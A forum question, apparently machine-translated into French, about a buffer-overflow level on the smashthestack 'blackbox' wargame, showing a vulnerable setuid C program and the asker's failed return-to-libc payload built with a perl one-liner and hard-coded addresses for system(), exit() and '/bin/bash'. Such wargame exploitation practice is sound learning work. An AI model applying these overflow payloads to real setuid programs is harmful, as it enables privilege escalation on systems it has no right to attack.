J'essaie de passer le niveau 2 de ce "jeu" http://smashthestack.org/faq.html (se connecter via ssh sur le serveur blackbox) qui consiste en un buffer overflow basique.BOF avec pile non exec
Dans le répertoire/home/niveau 2 (il y a un répertoire pour chaque niveau avec un fichier contenant le mot de passe pour ce niveau), il existe un fichier exécutable appelé GetOwner et son code source:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char *filename;
char buf[128];
if((filename = getenv("filename")) == NULL) {
printf("No filename configured!\n");
return 1;
}
while(*filename == '/')
filename++;
strcpy(buf, "/tmp/");
strcpy(&buf[strlen(buf)], filename);
struct stat stbuf;
stat(buf, &stbuf);
printf("The owner of this file is: %d\n", stbuf.st_uid);
return 0;
}
Le utilisateur qui possède le fichier exécutable est level3
[email protected]:~$ ls -lisa getowner
2370021 8 -rwsr-x--- 1 level3 gamers 7797 2017-05-24 01:56 getowner
donc, si je peux exploiter le dépassement de mémoire tampon et engendrer une coquille comme Level3, je peux lire le fichier/home/level3/mot de passe, obtenir le mot de passe et gagner le niveau: ai-je raison?
Alors
1) J'ai essayé de télécharger un shellcode dans une variable d'environnement et d'établir la variable de nom de fichier pour modifier l'adresse de retour dans la pile de revenir sur le shellcode, mais comme vous pouvez le voir
[email protected]:~$ readelf -l getowner | grep GNU_STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
Le code de la pile ne peut pas être exécuté.
2) puis, je tente d'utiliser l'attaque de retour à libc et système d'appel (/ bin/bash), mais dans la coquille, je suis donné naissance à l'utilisateur encore :(Niveau 2
[email protected]:~$ export filename=$(perl -e 'print "a" x135;print "\xb0\x59\xee\xb7" ; print "\x20\xb4\xed\xb7" ; print "\x32\xfe\xff\xbf"')
[email protected]:~$ ./getowner
The owner of this file is: -1207961948
bash-3.1$ id
uid=1003(level2) gid=1005(gamers) gruppi=1003(level2),1005(gamers)
Où 0xb7ee59b0 à l'adresse du système(), 0xb7edb420 est l'adresse de sortie() et 0xbffffe32 est l'adresse de la chaîne/bin/bash.
dois-je d'autres options ou sont-je trompé?